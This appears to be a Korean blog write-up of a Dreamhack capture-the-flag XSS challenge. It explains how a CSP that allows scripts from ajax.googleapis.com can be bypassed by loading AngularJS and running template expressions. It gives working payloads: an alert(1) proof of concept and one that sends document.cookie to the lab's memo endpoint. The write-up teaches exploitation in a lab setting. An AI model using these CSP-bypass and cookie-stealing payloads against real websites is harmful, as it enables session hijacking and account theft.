반응형
문제풀이
기존 XSS 문제 구성과 동일하다.
bot을 대상으로 XSS payload를 전송해서 쿠키를 탈취하는 시나리오다.
차이점이라면 CSP가 걸려있고 bypass가 필요하다.
@app.after_requestd
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
nonce = os.urandom(16).hex()
return response
CSP를 확인해보자.
script-src
태그를 보면, nonce가 걸려있고 img-src
도 동일한 도메인 외에는 사용할 수 없다.
눈에 띄는 것은 script-src
로 지정된 googleapis 도메인이다.
googleapis는 구글이 제공하는 다양한 API 서비스의 집합으로 Node js와 관련해서는 angular.js 프레임워크를 제공한다.
즉, googleapis를 이용하면 angualr.js 라이브러리를 로드할 수 있다.
angular.js의 템플릿 문법은 js 코드를 작성할 수 있는 기능을 제공한다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script><html ng-app>{{ constructor.constructor("alert(1)")() }}</html>
위와 같이 js 코드를 작성할 수 있다.
예제 코드는 alert(1)
을 실행하는 코드다.
이처럼 angular.js 템플릿 문법을 이용하면 CSP를 bypass하고 XSS를 트리거할 수 있다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js"></script><html ng-app>{{ constructor.constructor("javascript:location.href='http://127.0.0.1:8000/memo?memo='+document.cookie")() }}</html>
쿠키를 탈취하는 payload는 다음과 같이 구성할 수 있다.
반응형